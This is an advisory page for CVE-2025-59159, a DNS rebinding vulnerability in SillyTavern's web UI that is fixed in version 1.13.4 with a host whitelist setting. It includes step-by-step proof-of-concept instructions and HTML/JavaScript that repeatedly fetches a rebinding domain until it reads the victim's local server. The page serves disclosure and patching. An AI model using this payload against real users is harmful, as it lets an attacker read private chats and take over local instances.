Open-source package vulnerability · npm

CVE-2025-59159: SillyTavern Web Interface Vulnerable DNS Rebinding

criticalCVSS 3.1 9.6GHSA-7cxj-w27x-x78q

Summary The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc. Details DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address.

Published Oct 6, 2025

Affected packages

sillytavern

Ecosystem: npm
Affected: < 1.13.4
Fixed in: 1.13.4
Check: npm ls sillytavern

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.

Details

DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.

PoC

Host the PoC HTML file on a /rebind.html endpoint (or any other endpoint) on a web server on port 8000
Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
Replace the URL in the HTML with the returned URL on the site
Go to http://[URL]:8000/rebind.html in firefox or on any mobile browser if you're using termux
Check the developer tools console. It should return all of the data

Here is the PoC code:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
  while (true) {
    try {
      let res = await fetch("http://[DOMAIN HERE]:8000/");
      let text = await res.text();

      if (text.includes("Directory listing for /")) {
        console.log("Still attacker server, retrying...");
        await new Promise(r => setTimeout(r, 2000));
        continue;  // don't break yet
      }

      console.log("GOT VICTIM RESPONSE!");
      console.log(text.substring(0, 300));
      break;

    } catch (e) {
      console.log("Fetch failed, retrying...", e);
      await new Promise(r => setTimeout(r, 2000));
    }
  }
}
tryRebind();
</script>
</body>
</html>

Impact

Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.

Resolution

A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.

While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.

Resources

https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320

Credited to Atom1cByte.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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